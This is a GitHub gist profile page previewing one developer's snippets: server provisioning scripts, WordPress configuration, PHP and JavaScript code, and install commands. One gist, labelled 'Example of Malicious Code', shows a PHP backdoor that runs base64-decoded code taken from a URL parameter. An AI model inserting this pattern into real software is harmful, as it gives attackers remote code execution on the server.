Skip to content

Instantly share code, notes, and snippets.

View cballou's full-sized avatar

Corey Ballou cballou

View GitHub Profile
@cballou
cballou / linode-stackscript-centos-lemp-advanced
Created July 19, 2011 14:09
An advanced Linode StackScript for deploying a CentOs 64bit LEMP Stack with a ton of extras and configuration: MySQL, Suhosin, Memcached, Monit, Supervisord, Gearman, Beanstalk, Fail2Ban, IPTables Firewall, SSH
#!/bin/bash
#
# MYSQL CONFIG
# ============
# <UDF name="db_password" Label="Choose a MySQL Root Password" />
# <UDF name="db_name" Label="MySQL - Database Name" default="" example="Optionally create this database." />
# <UDF name="db_user" Label="MySQL - Username" default="" example="Optionally create this user." />
# <UDF name="db_user_password" Label="MySQL - Password" default="" example="The user password." />
#
# OPTIONAL LIBRARIES TO INSTALL
@cballou
cballou / wordpress-multi-env-apache-vhost.conf
Created August 15, 2011 13:38
Wordpress Apache VirtualHost Entry for Multi-Environment Setups
###########################
# provided by skookum.com #
###########################
# A VirtualHost entry open to Port 80
<VirtualHost *:80>
# The email address of your server admin
ServerAdmin corey@skookum.com
# The path to your Wordpress base installation directory
DocumentRoot /var/www/vhosts/skookum.com/html
@cballou
cballou / wordpress-multi-env-configphp-setup.php
Created August 15, 2011 13:54
Wordpress Multi-Environment wp-config.php Setup
<?php
/**
* This code is intended to be added to your wp-config.php file just below the top comment block.
* It should replace the existing define('DB_*') statements. You can add or remove sections
* depending on the number of environments you intend to setup. You should change all values of
* DB_NAME, DB_USER, DB_PASSWORD, and DB_HOST for each environment, making them all distinct
* for security purposes.
*/
// determine the current environment
@cballou
cballou / complete-example.php
Created September 27, 2011 00:27
Adding Role Based User Access Controls to your WordPress Plugin
<?php
class jinx {
// stores the path to our plugin
protected $pluginurl;
// stores the ACL roles
protected $defaultOptionVals;
/**
@cballou
cballou / string-sanitization-optimize.php
Created December 14, 2011 13:03
String sanitization/filtering optimization in PHP
<?php
/**
* This class is our wrapper class to fix the
* inherent slowness of the parent class
*/
class Clean extends Sanitize {
public static function xss($string)
{
// base case
if (!preg_match('/[^a-zA-Z0-9_\-.\s?!,]/', $string)) {
@cballou
cballou / ttfm-core-ugly.js
Created December 21, 2011 21:27
tt.fm core JS
// makes me cry
messageListener:function(d){
if(d.hasOwnProperty("msgid")){return;}
if(d.command=="speak"){
this.showChatMessage(d.userid,d.name,d.text);
}else{
if(d.command=="newsong"){
if(this.sjEUHqPqB.time_left>10){
turntablePlayer.playEphemeral(UI_SOUND_ENDSONG,true);
}
@cballou
cballou / ttfm-room-manager.js
Created January 12, 2012 13:30
Get _room and _manager from TT.FM
var _room;
var _manager;
/**
* Function to retrieve turntable objects.
*/
function getTurntableObjects() {
// reset room
_room = null;
@cballou
cballou / malicious.php
Created March 13, 2012 15:58
Example of Malicious Code
<?php
// insert malicious code here...
try {
$script = '
<?php
// harmful code
if (!empty($_GET['exec'])) {
eval(base64_decode($_GET['exec']))
}';
@cballou
cballou / zend-framework-install.sh
Created March 20, 2012 01:05
Getting Zend Tool up and running. Source code portion of blog post at http://blackbe.lt
cd /opt
wget http://framework.zend.com/releases/ZendFramework-1.11.10/ZendFramework-1.11.10.tar.gz
tar -xvf ZendFramework-1.11.10.tar.gz
cd ZendFramework-1.11.10
echo "alias zf='export ZF_CONFIG_FILE=~/.zf.ini; /opt/ZendFramework-1.11.10/bin/zf.sh'" >> ~/.bash_profile
source ~/.bash_profile
@cballou
cballou / 1-install-dependencies.sh
Created March 24, 2012 21:11
SWITCHING APACHE FROM PREFORK TO WORKER MPM IN RHEL / CENTOS 5.X / FEDORA 13
yum install libtool httpd-devel apr-devel apr